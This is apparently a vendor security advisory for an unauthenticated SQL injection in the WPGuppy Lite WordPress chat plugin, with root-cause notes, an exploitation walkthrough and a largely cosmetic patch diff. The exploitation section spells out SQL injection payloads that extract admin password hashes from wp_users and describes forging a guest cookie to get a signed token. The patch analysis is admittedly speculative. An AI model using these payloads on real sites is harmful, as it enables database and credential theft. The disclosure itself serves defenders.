Published : November 20, 2026

CVE-2026-107654: One to one user Chat by WPGuppy <= 1.1.6 Unauthenticated SQL Injection via 'userId' Parameter PoC, Patch Analysis & Rule

Plugin wpguppy-lite
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.1.6
Patched Version 1.1.7
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-107654:

The One to one user Chat by WPGuppy plugin for WordPress (versions up to and including 1.1.6) is vulnerable to unauthenticated SQL injection via the ‘userId’ parameter. The vulnerability exists in the plugin’s REST API endpoint that handles guest chat initialization. Attackers can inject arbitrary SQL statements into existing queries, enabling extraction of sensitive data from the WordPress database. The CVSS score of 7.5 reflects the high impact and the lack of authentication required to exploit the flaw.

Root Cause:
The vulnerability stems from insufficient input sanitization and lack of query preparation in the REST API callback function ‘get_guest_chat_users’ (or similar) registered in the plugin’s main file (e.g., wpguppy-lite/includes/class-wp-guppy-lite.php). The ‘userId’ parameter is retrieved from the request and directly concatenated into a SQL query without using $wpdb->prepare() or casting to an integer. The permission callback for the endpoint validates a JWT token that the plugin itself signs using a value from the ‘guppy_guest_account’ cookie. An attacker can supply an arbitrary value in that cookie, causing the plugin to sign a valid JWT for a guest user. When the ‘userType’ parameter is set to 0 (guest), the code path skips the get_userdata() check that would otherwise confirm the ‘userId’ corresponds to a real WordPress user. This design flaw in the authentication logic allows unauthenticated attackers to reach the vulnerable SQL query.

Exploitation:
An attacker sends a POST request to the WordPress REST API endpoint /wp-json/wpguppy/v1/get-users (or the exact route registered by the plugin) with the following parameters: ‘userId’ containing a SQL injection payload, ‘userType’ set to 0, and a ‘guppy_guest_account’ cookie set to an arbitrary value. Alternatively, the attacker can first obtain a valid JWT by sending a request to the plugin’s token generation endpoint, which will sign a token for the guest account based on the cookie value provided. With the token, the attacker can access the vulnerable endpoint. A typical payload for ‘userId’ could be ‘1 UNION SELECT user_login, user_pass FROM wp_users– -‘ to extract administrator credentials, or a boolean-based blind injection payload such as ‘1 AND (SELECT 1 FROM wp_users WHERE ID=1 AND SUBSTRING(user_pass,1,1)=’$’)– -‘ to extract data one character at a time.

Patch Analysis:
The provided diff does not show the specific changes to the vulnerable REST API callback or the permission callback, as the diff is truncated. However, based on the vulnerability description, the patch likely addresses the issue by sanitizing the ‘userId’ parameter using intval() or absint() before using it in the SQL query, and by adding proper nonce or capability checks to the permission callback. The patch may also remove the guest account JWT signing mechanism or enforce stricter validation of the ‘guppy_guest_account’ cookie. Without the full diff, Atomic Edge research cannot confirm the exact fix, but the vulnerability is resolved by ensuring the ‘userId’ parameter is properly prepared and that the permission callback cannot be bypassed by attacker-controlled JWT signing.

Impact:
Exploitation of this vulnerability allows an unauthenticated attacker to execute arbitrary SQL queries against the WordPress database. This can lead to the disclosure of sensitive information, including user credentials (password hashes), personally identifiable information, and potentially the ability to modify or delete data if the database user has sufficient privileges. In severe cases, an attacker could escalate privileges by creating a new administrator account or injecting a backdoor. The lack of authentication makes this a critical threat to all sites running the vulnerable plugin version.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpguppy-lite/admin/class-wp-guppy-lite-admin.php
+++ b/wpguppy-lite/admin/class-wp-guppy-lite-admin.php
@@ -44,14 +44,13 @@
 	 * Initialize the class and set its properties.
 	 *
 	 * @since    1.0.0
-	 * @param      string    $plugin_name       The name of this plugin.
-	 * @param      string    $version    The version of this plugin.
+	 * @param      string $plugin_name       The name of this plugin.
+	 * @param      string $version    The version of this plugin.
 	 */
 	public function __construct( $plugin_name, $version ) {

 		$this->plugin_name = $plugin_name;
-		$this->version = $version;
-
+		$this->version     = $version;
 	}

 	/**
@@ -73,10 +72,9 @@
 		 * class.
 		 */

-		 wp_enqueue_style( 'wp-color-picker' );
-		 wp_enqueue_style( 'wpguppy-lite-settings', plugin_dir_url( __FILE__ ) . 'css/wpguppy-admin.css',array(), $this->version, 'all');
-		 wp_enqueue_style( 'jquery_confirm', plugin_dir_url( __FILE__ ) . 'css/jquery-confirm.min.css',array(), $this->version, 'all');
-
+		wp_enqueue_style( 'wp-color-picker' );
+		wp_enqueue_style( 'wpguppy-lite-settings', plugin_dir_url( __FILE__ ) . 'css/wpguppy-admin.css', array(), $this->version, 'all' );
+		wp_enqueue_style( 'jquery_confirm', plugin_dir_url( __FILE__ ) . 'css/jquery-confirm.min.css', array(), $this->version, 'all' );
 	}

 	/**
@@ -98,16 +96,18 @@
 		 * class.
 		 */

-		wp_enqueue_script('wpguppy-lite-settings', plugin_dir_url( __FILE__ ) . 'settings/js/settings.js',array( 'wp-color-picker' ), $this->version, true);
-		wp_enqueue_script('jquery_confirm', plugin_dir_url( __FILE__ ) . 'settings/js/jquery-confirm.min.js',array( 'wp-color-picker' ), $this->version, true);
-
-		wp_localize_script('wpguppy-lite-settings', 'scripts_constants', array(
-			'rest_db_message'	=> esc_html__('Are you sure you want to reset databse?','wpguppy-lite'),
-			'is_admin'			=> 'no',
-			'ajaxurl' 			=> admin_url('admin-ajax.php'),
-			'ajax_nonce'		=> wp_create_nonce('ajax_nonce')
-		));
+		wp_enqueue_script( 'wpguppy-lite-settings', plugin_dir_url( __FILE__ ) . 'settings/js/settings.js', array( 'wp-color-picker' ), $this->version, true );
+		wp_enqueue_script( 'jquery_confirm', plugin_dir_url( __FILE__ ) . 'settings/js/jquery-confirm.min.js', array( 'wp-color-picker' ), $this->version, true );

+		wp_localize_script(
+			'wpguppy-lite-settings',
+			'scripts_constants',
+			array(
+				'rest_db_message' => esc_html__( 'Are you sure you want to reset databse?', 'wpguppy-lite' ),
+				'is_admin'        => 'no',
+				'ajaxurl'         => admin_url( 'admin-ajax.php' ),
+				'ajax_nonce'      => wp_create_nonce( 'ajax_nonce' ),
+			)
+		);
 	}
-
 }
--- a/wpguppy-lite/admin/index.php
+++ b/wpguppy-lite/admin/index.php
@@ -1 +1 @@
-<?php // Silence is golden
 No newline at end of file
+<?php // Silence is golden
--- a/wpguppy-lite/admin/settings/settings.php
+++ b/wpguppy-lite/admin/settings/settings.php
@@ -1,38 +1,41 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

-if (!class_exists('WPGuppy_Lite_Plugin_Options')) {
-    /**
-     *
-     * @package WP Guppy
-     */
+
+if ( ! class_exists( 'WPGuppy_Lite_Plugin_Options' ) ) {
+	/**
+	 *
+	 * @package WP Guppy
+	 */
 	class WPGuppy_Lite_Plugin_Options {
-        private static $_instance = null;
-
+		private static $_instance = null;
+
 		/**
-         * PRIVATE CONSTRUCTOR
-         */
+		 * PRIVATE CONSTRUCTOR
+		 */
 		public function __construct() {
-			if (!is_plugin_active('wp-guppy/wp-guppy.php') ) {
-				add_action('admin_menu', array(&$this, 'wpguppy_admin_menu'));
-				add_action('wp_ajax_wpguppy_update_guppy_admin_status', array(&$this,'wpguppy_update_guppy_admin_status'));
-				add_action('wp_ajax_get_wpguppy_whatsapp_user_info', array(&$this,'get_wpguppy_whatsapp_user_info'));
-				add_action('wp_ajax_wpguppy_update_whatsapp_info', array(&$this,'wpguppy_update_whatsapp_info'));
+			if ( ! is_plugin_active( 'wp-guppy/wp-guppy.php' ) ) {
+				add_action( 'admin_menu', array( &$this, 'wpguppy_admin_menu' ) );
+				add_action( 'wp_ajax_wpguppy_update_guppy_admin_status', array( &$this, 'wpguppy_update_guppy_admin_status' ) );
+				add_action( 'wp_ajax_get_wpguppy_whatsapp_user_info', array( &$this, 'get_wpguppy_whatsapp_user_info' ) );
+				add_action( 'wp_ajax_wpguppy_update_whatsapp_info', array( &$this, 'wpguppy_update_whatsapp_info' ) );

 			}
 		}

 		/**
-         * Call this method to get singleton
-         *
-         * @return
-         */
-        public static function instance()
-        {
-            if (self::$_instance === null) {
-                self::$_instance = new WPGuppy_Lite_Plugin_Options();
-            }
-            return self::$_instance;
-        }
+		 * Call this method to get singleton
+		 *
+		 * @return
+		 */
+		public static function instance() {
+			if ( self::$_instance === null ) {
+				self::$_instance = new WPGuppy_Lite_Plugin_Options();
+			}
+			return self::$_instance;
+		}

 		/**
 		 * Is admin, update status
@@ -45,30 +48,30 @@
 		 */
 		function wpguppy_update_guppy_admin_status() {
 			global $wpdb;
-			$json		= array();
-			$user_id	= !empty($_POST['user_id']) 	? intval($_POST['user_id']) : '';
-			$status		= !empty($_POST['status']) 		? intval($_POST['status']) : '';
-
-			if( !current_user_can('manage_options') || empty($user_id) ){
-				$json['type']		= 'error';
-				$json['message']	= esc_html__('You are not allowed to perform this action!','wpguppy-lite');
-				wp_send_json($json);
-			}
-
-			if( !isset($_POST['security']) || empty(wp_verify_nonce( $_POST['security'], 'ajax_nonce' )) ){
-				$json['type']       = 'error';
-				$json['message']    = esc_html__('Invalid request, please try again later.','wpguppy-lite');
-				wp_send_json($json);
-			}
-
-			update_user_meta($user_id, 'is_guppy_admin', $status);
-
-			$json['type']		= 'success';
-			$json['message']	= esc_html__('Update status','wpguppy-lite');
-			wp_send_json($json);
+			$json    = array();
+			$user_id = ! empty( $_POST['user_id'] ) ? intval( $_POST['user_id'] ) : '';
+			$status  = ! empty( $_POST['status'] ) ? intval( $_POST['status'] ) : '';
+
+			if ( ! current_user_can( 'manage_options' ) || empty( $user_id ) ) {
+				$json['type']    = 'error';
+				$json['message'] = esc_html__( 'You are not allowed to perform this action!', 'wpguppy-lite' );
+				wp_send_json( $json );
+			}
+
+			if ( ! isset( $_POST['security'] ) || empty( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['security'] ) ), 'ajax_nonce' ) ) ) {
+				$json['type']    = 'error';
+				$json['message'] = esc_html__( 'Invalid request, please try again later.', 'wpguppy-lite' );
+				wp_send_json( $json );
+			}
+
+			update_user_meta( $user_id, 'is_guppy_admin', $status );
+
+			$json['type']    = 'success';
+			$json['message'] = esc_html__( 'Update status', 'wpguppy-lite' );
+			wp_send_json( $json );
 		}

-
+

 		/**
 		 * Load plugin menu
@@ -80,15 +83,16 @@
 		 * @subpackage wp-guppy/admin
 		 */
 		public function wpguppy_admin_menu() {
-			$menu_slug = 'wpguppy_options';
-			$messages_page	= add_menu_page(esc_html__('WP Guppy Lite','wpguppy-lite'),
-											esc_html__('WP Guppy Lite','wpguppy-lite'),
-											'administrator',
-											'wpguppy_settings',
-											array( &$this,'wpguppy_settings'),
-											WP_GUPPY_LITE_DIRECTORY_URI.'/admin/images/guppy.svg'
-										);
-			add_action( "load-".$messages_page, array(&$this, 'wpguppy_load_settings') );
+			$menu_slug     = 'wpguppy_options';
+			$messages_page = add_menu_page(
+				esc_html__( 'WP Guppy Lite', 'wpguppy-lite' ),
+				esc_html__( 'WP Guppy Lite', 'wpguppy-lite' ),
+				'administrator',
+				'wpguppy_settings',
+				array( &$this, 'wpguppy_settings' ),
+				WP_GUPPY_LITE_DIRECTORY_URI . '/admin/images/guppy.svg'
+			);
+			add_action( 'load-' . $messages_page, array( &$this, 'wpguppy_load_settings' ) );
 		}

 		/**
@@ -102,20 +106,20 @@
 		 */
 		function wpguppy_load_settings() {
 			global $pagenow;
-			if ( isset($_POST["wpguppy_submit"]) && $_POST["wpguppy_submit"] == 'yes' ) {
-				check_admin_referer( "wpguppy_options" );
-				$settings = get_option( "wpguppy_settings" );
-				if ($pagenow == 'admin.php' && $_GET['page'] == 'wpguppy_settings') {
-					$wpguppy_settings	= !empty($_POST['wpguppy_settings']) ? sanitize_text_or_array_field($_POST['wpguppy_settings']) : array();
-					$updated = update_option( "wpguppy_settings", $wpguppy_settings );
+			if ( isset( $_POST['wpguppy_submit'] ) && $_POST['wpguppy_submit'] == 'yes' ) {
+				check_admin_referer( 'wpguppy_options' );
+				$settings = get_option( 'wpguppy_settings' );
+				if ( $pagenow == 'admin.php' && isset( $_GET['page'] ) && 'wpguppy_settings' === sanitize_text_field( wp_unslash( $_GET['page'] ) ) ) {
+					$wpguppy_settings = ! empty( $_POST['wpguppy_settings'] ) ? wpguppy_lite_sanitize_text_or_array_field( wp_unslash( $_POST['wpguppy_settings'] ) ) : array(); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized recursively by wpguppy_lite_sanitize_text_or_array_field().
+					$updated          = update_option( 'wpguppy_settings', $wpguppy_settings );
 				}
-
-				$url_params = isset($_GET['tab']) ? 'updated=true&tab='.sanitize_text_field($_GET['tab']) : 'updated=true';
-				wp_redirect(admin_url('admin.php?page=wpguppy_settings&'.$url_params));
+
+				$url_params = isset( $_GET['tab'] ) ? 'updated=true&tab=' . sanitize_text_field( wp_unslash( $_GET['tab'] ) ) : 'updated=true';
+				wp_safe_redirect( admin_url( 'admin.php?page=wpguppy_settings&' . $url_params ) );
 				exit;
 			}
 		}
-
+
 		/**
 		 * Guppy settings
 		 *
@@ -126,44 +130,44 @@
 		 * @subpackage wp-guppy/admin
 		 */
 		public function wpguppy_settings() {
-			global	$wpguppy_settings;
-			$tabs = array(
-				'general'			=> esc_html__('General','wpguppy-lite'),
-				'tabs'				=> esc_html__('Chat tabs','wpguppy-lite'),
-				'style'				=> esc_html__('Styles','wpguppy-lite'),
-				'media'				=> esc_html__('Media','wpguppy-lite'),
-				'real-time-chat'	=> esc_html__('Real time chat','wpguppy-lite'),
-				'translation'		=> esc_html__('Translation','wpguppy-lite'),
-			);
-			$wpguppy_settings       = get_option( "wpguppy_settings" );
-			$current_tab			= !empty($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'general';
+			global  $wpguppy_settings;
+			$tabs             = array(
+				'general'        => esc_html__( 'General', 'wpguppy-lite' ),
+				'tabs'           => esc_html__( 'Chat tabs', 'wpguppy-lite' ),
+				'style'          => esc_html__( 'Styles', 'wpguppy-lite' ),
+				'media'          => esc_html__( 'Media', 'wpguppy-lite' ),
+				'real-time-chat' => esc_html__( 'Real time chat', 'wpguppy-lite' ),
+				'translation'    => esc_html__( 'Translation', 'wpguppy-lite' ),
+			);
+			$wpguppy_settings = get_option( 'wpguppy_settings' );
+			$current_tab      = ! empty( $_GET['tab'] ) ? sanitize_text_field( wp_unslash( $_GET['tab'] ) ) : 'general'; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Read-only active-tab selection for display only.
 			?>
-			<?php $this->wpguppy_settings_tabs($tabs,$current_tab);?>
+			<?php $this->wpguppy_settings_tabs( $tabs, $current_tab ); ?>
 			<div id="poststuff">
-				<form autocomplete="off" method="post" id="gp-settings-page-form" action="<?php admin_url('admin.php?page=wpguppy_options'); ?>">
+				<form autocomplete="off" method="post" id="gp-settings-page-form" action="<?php admin_url( 'admin.php?page=wpguppy_options' ); ?>">
 					<?php
-						foreach($tabs as $key => $tab ){
-							$display_class	= !empty($current_tab) && $current_tab == $key ? '' : 'hide-if-js';
-							wp_nonce_field( "wpguppy_options" );
-							?>
-							<div class="tab-content gb-tab-content <?php echo esc_attr($display_class);?>" id="tb-content-<?php echo esc_attr($key);?>">
+					foreach ( $tabs as $key => $tab ) {
+						$display_class = ! empty( $current_tab ) && $current_tab == $key ? '' : 'hide-if-js';
+						wp_nonce_field( 'wpguppy_options' );
+						?>
+							<div class="tab-content gb-tab-content <?php echo esc_attr( $display_class ); ?>" id="tb-content-<?php echo esc_attr( $key ); ?>">
 								<div class="wrap">
-									<?php require WP_GUPPY_LITE_DIRECTORY . 'admin/settings/templates/'.$key.'-options.php'; ?>
+								<?php require WP_GUPPY_LITE_DIRECTORY . 'admin/settings/templates/' . $key . '-options.php'; ?>
 								</div>
-								<?php if( !empty($key)){?>
+							<?php if ( ! empty( $key ) ) { ?>
 									<input type="hidden" name="wpguppy_submit" value="yes"/>
-									<p class="submit"><input type="submit" name="submit" id="submit" class="button button-primary" value="<?php esc_attr_e('Save changes','wpguppy-lite');?>"></p>
-								<?php }	?>
+									<p class="submit"><input type="submit" name="submit" id="submit" class="button button-primary" value="<?php esc_attr_e( 'Save changes', 'wpguppy-lite' ); ?>"></p>
+								<?php } ?>
 							</div>
 						<?php
-						}
-					echo '</div></div>';?>
+					}
+					echo '</div></div>';
+					?>
 				</form>
 			</div>
 			<?php
-
 		}
-
+
 		/**
 		 * Guppy Tabs settings
 		 *
@@ -173,14 +177,14 @@
 		 * @package    wp-guppy
 		 * @subpackage wp-guppy/admin
 		 */
-		public function wpguppy_settings_tabs( $tabs,$current = '' ) {
+		public function wpguppy_settings_tabs( $tabs, $current = '' ) {
 			echo '<h2 class="nav-tab-wrapper">';
-
-				foreach ( $tabs as $tab => $name ) {
-					$class = ( $tab == $current ) ? ' nav-tab-active' : '';
-					echo "<a id=".esc_attr($tab)."-settings-tab' data-tab_id=".esc_attr( $tab )." href='javascript:;' class='gp-tabs-settings nav-tab".esc_attr($class)."'>".esc_html($name)."</a>";
-				}
-
+
+			foreach ( $tabs as $tab => $name ) {
+				$class = ( $tab == $current ) ? ' nav-tab-active' : '';
+				echo '<a id=' . esc_attr( $tab ) . "-settings-tab' data-tab_id=" . esc_attr( $tab ) . " href='javascript:;' class='gp-tabs-settings nav-tab" . esc_attr( $class ) . "'>" . esc_html( $name ) . '</a>';
+			}
+
 			echo '</h2>';
 		}

@@ -194,39 +198,39 @@
 		 * @subpackage wp-guppy/admin
 		 */
 		function get_wpguppy_whatsapp_user_info() {
-
-			$json		= array();
-			$user_id	= !empty($_POST['user_id']) ? $_POST['user_id'] : '';
-
-			if( !current_user_can('manage_options') || empty($user_id) ){
-				$json['type']		= 'error';
-				$json['message']	= esc_html__('You are not allowed to perform this action!','wpguppy-lite');
-				wp_send_json($json);
-			}
-
-			if( !isset($_POST['security']) || empty(wp_verify_nonce( $_POST['security'], 'ajax_nonce' )) ){
-				$json['type']       = 'error';
-				$json['message']    = esc_html__('Invalid request, please try again later.','wpguppy-lite');
-				wp_send_json($json);
-			}
-
-			$guppy_whatsapp_info 	= get_user_meta($user_id, 'guppy_whatsapp_info', true);
-			$user_designation 		= !empty($guppy_whatsapp_info['user_designation']) ? $guppy_whatsapp_info['user_designation'] : '';
-			$user_contact 			= !empty($guppy_whatsapp_info['user_contact']) ? $guppy_whatsapp_info['user_contact'] : '';
-			$user_default_message 	= !empty($guppy_whatsapp_info['user_default_message']) ? $guppy_whatsapp_info['user_default_message'] : '';
-			$user_offline_message 	= !empty($guppy_whatsapp_info['user_offline_message']) ? $guppy_whatsapp_info['user_offline_message'] : '';
-			$user_availability 		= !empty($guppy_whatsapp_info['user_availability']) ? $guppy_whatsapp_info['user_availability'] : array();
-			$user_timezone 			= !empty($guppy_whatsapp_info['user_timezone']) ? $guppy_whatsapp_info['user_timezone'] : '';
-			$guppy_time_slots 		= apply_filters( 'guppy_time_slots', '' );
-			$guppy_timezones_list 	= guppy_timezones_list();
-			$available_days 		= array();
-			$start = get_option('start_of_week');
-
-			$start 	= $start -1; 	//  -1 is for to start array index
-			$end 	= $start + 6;
-			for ($i = $start; $i <= $end; $i++) {
-				$day = strtolower(jddayofweek($i,1));
-				$available_days[$day] = $day;
+
+			$json    = array();
+			$user_id = ! empty( $_POST['user_id'] ) ? sanitize_text_field( wp_unslash( $_POST['user_id'] ) ) : '';
+
+			if ( ! current_user_can( 'manage_options' ) || empty( $user_id ) ) {
+				$json['type']    = 'error';
+				$json['message'] = esc_html__( 'You are not allowed to perform this action!', 'wpguppy-lite' );
+				wp_send_json( $json );
+			}
+
+			if ( ! isset( $_POST['security'] ) || empty( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['security'] ) ), 'ajax_nonce' ) ) ) {
+				$json['type']    = 'error';
+				$json['message'] = esc_html__( 'Invalid request, please try again later.', 'wpguppy-lite' );
+				wp_send_json( $json );
+			}
+
+			$guppy_whatsapp_info  = get_user_meta( $user_id, 'guppy_whatsapp_info', true );
+			$user_designation     = ! empty( $guppy_whatsapp_info['user_designation'] ) ? $guppy_whatsapp_info['user_designation'] : '';
+			$user_contact         = ! empty( $guppy_whatsapp_info['user_contact'] ) ? $guppy_whatsapp_info['user_contact'] : '';
+			$user_default_message = ! empty( $guppy_whatsapp_info['user_default_message'] ) ? $guppy_whatsapp_info['user_default_message'] : '';
+			$user_offline_message = ! empty( $guppy_whatsapp_info['user_offline_message'] ) ? $guppy_whatsapp_info['user_offline_message'] : '';
+			$user_availability    = ! empty( $guppy_whatsapp_info['user_availability'] ) ? $guppy_whatsapp_info['user_availability'] : array();
+			$user_timezone        = ! empty( $guppy_whatsapp_info['user_timezone'] ) ? $guppy_whatsapp_info['user_timezone'] : '';
+			$guppy_time_slots     = apply_filters( 'wpguppy_lite_time_slots', '' );
+			$guppy_timezones_list = wpguppy_lite_timezones_list();
+			$available_days       = array();
+			$start                = get_option( 'start_of_week' );
+
+			$start = $start - 1;    // -1 is for to start array index
+			$end   = $start + 6;
+			for ( $i = $start; $i <= $end; $i++ ) {
+				$day                    = strtolower( jddayofweek( $i, 1 ) );
+				$available_days[ $day ] = $day;
 			}

 			ob_start();
@@ -234,66 +238,67 @@
 			<form class="at-themeform" id="guppy-whatsapp-info-form">
 				<fieldset>
 					<div class="at-form-group">
-						<label class="at-form-title"><?php esc_html_e('Add designation','wpguppy-lite');?></label>
+						<label class="at-form-title"><?php esc_html_e( 'Add designation', 'wpguppy-lite' ); ?></label>
 						<div class="at-form-field">
-							<input type="text" class="at-form-control" placeholder="<?php echo esc_attr('Enter designation title');?>" name="user_designation" value="<?php echo esc_attr($user_designation);?>" required="">
+							<input type="text" class="at-form-control" placeholder="<?php echo esc_attr( 'Enter designation title' ); ?>" name="user_designation" value="<?php echo esc_attr( $user_designation ); ?>" required="">
 						</div>
 					</div>
 					<div class="at-form-group">
-						<label class="at-form-title"><?php esc_html_e('Add contact number','wpguppy-lite');?></label>
+						<label class="at-form-title"><?php esc_html_e( 'Add contact number', 'wpguppy-lite' ); ?></label>
 						<div class="at-form-field">
-							<input type="text" class="at-form-control" placeholder="<?php echo esc_attr('Enter contact number');?>" name="user_contact" value="<?php echo esc_attr($user_contact);?>" required="">
-							<em><?php echo esc_html('Add WhatsApp contact number with a plus sign (+).', 'wpguppy-lite'); ?><a href="https://faq.whatsapp.com/general/contacts/how-to-add-an-international-phone-number" target="_blank"><?php echo esc_html('Read full detail', 'wpguppy-lite'); ?></a></em>
+							<input type="text" class="at-form-control" placeholder="<?php echo esc_attr( 'Enter contact number' ); ?>" name="user_contact" value="<?php echo esc_attr( $user_contact ); ?>" required="">
+							<em><?php echo esc_html( 'Add WhatsApp contact number with a plus sign (+).', 'wpguppy-lite' ); ?><a href="https://faq.whatsapp.com/general/contacts/how-to-add-an-international-phone-number" target="_blank"><?php echo esc_html( 'Read full detail', 'wpguppy-lite' ); ?></a></em>
 						</div>
 					</div>
 					<div class="at-form-group">
-						<label class="at-form-title"><?php esc_html_e('Available time slots','wpguppy-lite');?></label>
+						<label class="at-form-title"><?php esc_html_e( 'Available time slots', 'wpguppy-lite' ); ?></label>
 						<div class="at-form-field-options">
-							<?php if(!empty($available_days)){ ?>
-								<?php foreach($available_days as $day=> $time){ ?>
+							<?php if ( ! empty( $available_days ) ) { ?>
+								<?php foreach ( $available_days as $day => $time ) { ?>
 									<?php
 									$day_checked = $time_disabled = '';
-									if(!empty($user_availability[$day])){
+									if ( ! empty( $user_availability[ $day ] ) ) {
 										$day_checked = 'checked';
-									}else{
+									} else {
 										$time_disabled = 'disabled';
 									}
 									?>
 									<div class="at-form-field-wrap">
 										<span class="db-guppy-checkbox">
-											<input type="checkbox" name="available_days[]" <?php echo esc_attr($day_checked); ?> id="<?php echo esc_attr($day);?>" value="<?php echo esc_attr($day);?>">
-											<label class="at-form-subtitle" for="<?php echo esc_attr($day);?>"><?php echo esc_attr(ucfirst($day));?></label>
+											<input type="checkbox" name="available_days[]" <?php echo esc_attr( $day_checked ); ?> id="<?php echo esc_attr( $day ); ?>" value="<?php echo esc_attr( $day ); ?>">
+											<label class="at-form-subtitle" for="<?php echo esc_attr( $day ); ?>"><?php echo esc_attr( ucfirst( $day ) ); ?></label>
 										</span>
 										<span class="at-select">
-											<select  <?php echo esc_attr($time_disabled); ?> name="start_time[<?php echo esc_attr($day)?>]" id ="start_time_<?php echo esc_attr($day)?>">
-												<?php if(!empty($guppy_time_slots)){?>
-													<?php foreach($guppy_time_slots as $slot=> $value){ ?>
-														<?php
+											<select  <?php echo esc_attr( $time_disabled ); ?> name="start_time[<?php echo esc_attr( $day ); ?>]" id ="start_time_<?php echo esc_attr( $day ); ?>">
+												<?php if ( ! empty( $guppy_time_slots ) ) { ?>
+													<?php foreach ( $guppy_time_slots as $slot => $value ) { ?>
+														<?php
 															$start_time_selected = '';
-															$match_time = $value.':00';
-															if(!empty($user_availability[$day]) && $user_availability[$day]['start_time'] == $match_time){
-																$start_time_selected = 'selected';
-															}
+															$match_time          = $value . ':00';
+														if ( ! empty( $user_availability[ $day ] ) && $user_availability[ $day ]['start_time'] == $match_time ) {
+															$start_time_selected = 'selected';
+														}
 														?>
-														<option value="<?php echo esc_attr($value);?>" <?php echo esc_attr($start_time_selected); ?>><?php echo esc_attr($value);?></option>
+														<option value="<?php echo esc_attr( $value ); ?>" <?php echo esc_attr( $start_time_selected ); ?>><?php echo esc_attr( $value ); ?></option>
 													<?php } ?>
 												<?php } ?>
 											</select>
 										</span>
 										<span class="at-select">
-											<select <?php echo esc_attr($time_disabled); ?> name="end_time[<?php echo esc_attr($day)?>]" id ="end_time_<?php echo esc_attr($day)?>">
-												<?php if(!empty($guppy_time_slots)){
-													unset($guppy_time_slots['00:00']);
+											<select <?php echo esc_attr( $time_disabled ); ?> name="end_time[<?php echo esc_attr( $day ); ?>]" id ="end_time_<?php echo esc_attr( $day ); ?>">
+												<?php
+												if ( ! empty( $guppy_time_slots ) ) {
+													unset( $guppy_time_slots['00:00'] );
 													?>
-													<?php foreach($guppy_time_slots as $slot=> $value){ ?>
-														<?php
+													<?php foreach ( $guppy_time_slots as $slot => $value ) { ?>
+														<?php
 															$end_time_selected = '';
-															$match_time = $value.':00';
-															if(!empty($user_availability[$day]) && $user_availability[$day]['end_time'] == $match_time){
-																$end_time_selected = 'selected';
-															}
+															$match_time        = $value . ':00';
+														if ( ! empty( $user_availability[ $day ] ) && $user_availability[ $day ]['end_time'] == $match_time ) {
+															$end_time_selected = 'selected';
+														}
 														?>
-														<option value="<?php echo esc_attr($value);?>" <?php echo esc_attr($end_time_selected); ?>><?php echo esc_attr($value);?></option>
+														<option value="<?php echo esc_attr( $value ); ?>" <?php echo esc_attr( $end_time_selected ); ?>><?php echo esc_attr( $value ); ?></option>
 													<?php } ?>
 												<?php } ?>
 											</select>
@@ -304,49 +309,49 @@
 						</div>
 					</div>
 					<div class="at-form-group">
-						<label class="at-form-title"><?php esc_html_e('Add time zone','wpguppy-lite');?></label>
+						<label class="at-form-title"><?php esc_html_e( 'Add time zone', 'wpguppy-lite' ); ?></label>
 						<div class="at-form-field">
 							<select  name="user_timezone" id ="user_timezone">
-								<option value=""><?php esc_html_e('Select time zone','wpguppy-lite');?></option>
-								<?php if(!empty($guppy_timezones_list)){ ?>
-									<?php foreach($guppy_timezones_list as $key=> $value){ ?>
-										<?php
+								<option value=""><?php esc_html_e( 'Select time zone', 'wpguppy-lite' ); ?></option>
+								<?php if ( ! empty( $guppy_timezones_list ) ) { ?>
+									<?php foreach ( $guppy_timezones_list as $key => $value ) { ?>
+										<?php
 											$timezone_selected = '';
-											$match_time = $value.':00';
-											if($user_timezone == $key){
-												$timezone_selected = 'selected';
-											}
+											$match_time        = $value . ':00';
+										if ( $user_timezone == $key ) {
+											$timezone_selected = 'selected';
+										}
 										?>
-										<option value="<?php echo esc_attr($key);?>" <?php echo esc_attr($timezone_selected); ?>><?php echo esc_attr($value);?></option>
+										<option value="<?php echo esc_attr( $key ); ?>" <?php echo esc_attr( $timezone_selected ); ?>><?php echo esc_attr( $value ); ?></option>
 									<?php } ?>
 								<?php } ?>
 							</select>
 						</div>
 					</div>
 					<div class="at-form-group">
-						<label class="at-form-title"><?php esc_html_e('Default message','wpguppy-lite');?></label>
+						<label class="at-form-title"><?php esc_html_e( 'Default message', 'wpguppy-lite' ); ?></label>
 						<div class="at-form-field">
-							<textarea type="text" class="at-form-control" placeholder="<?php echo esc_attr('Enter default message');?>" name="user_default_message" required=""> <?php echo ($user_default_message);?></textarea>
+							<textarea type="text" class="at-form-control" placeholder="<?php echo esc_attr( 'Enter default message' ); ?>" name="user_default_message" required=""> <?php echo esc_textarea( $user_default_message ); ?></textarea>
 						</div>
 					</div>
 					<div class="at-form-group">
-						<label class="at-form-title"><?php esc_html_e('Offline message','wpguppy-lite');?></label>
+						<label class="at-form-title"><?php esc_html_e( 'Offline message', 'wpguppy-lite' ); ?></label>
 						<div class="at-form-field">
-							<textarea type="text" class="at-form-control" placeholder="<?php echo esc_attr('Enter offline message');?>" name="user_offline_message" required=""> <?php echo ($user_offline_message);?></textarea>
+							<textarea type="text" class="at-form-control" placeholder="<?php echo esc_attr( 'Enter offline message' ); ?>" name="user_offline_message" required=""> <?php echo esc_textarea( $user_offline_message ); ?></textarea>
 						</div>
 					</div>
 					<div class="at-form-group">
 						<div class="at-form-field">
-							<button type="button" class="update-guppy-whatsapp-info" data-id="<?php echo esc_attr($user_id);?>"><?php esc_html_e('Save & update','wpguppy-lite');?></button>
+							<button type="button" class="update-guppy-whatsapp-info" data-id="<?php echo esc_attr( $user_id ); ?>"><?php esc_html_e( 'Save & update', 'wpguppy-lite' ); ?></button>
 						</div>
 					</div>
 				</fieldset>
 			</form>
 			<?php
-			$html = ob_get_clean();
-			$json['type']		= 'success';
-			$json['html']	= $html;
-			wp_send_json($json);
+			$html         = ob_get_clean();
+			$json['type'] = 'success';
+			$json['html'] = $html;
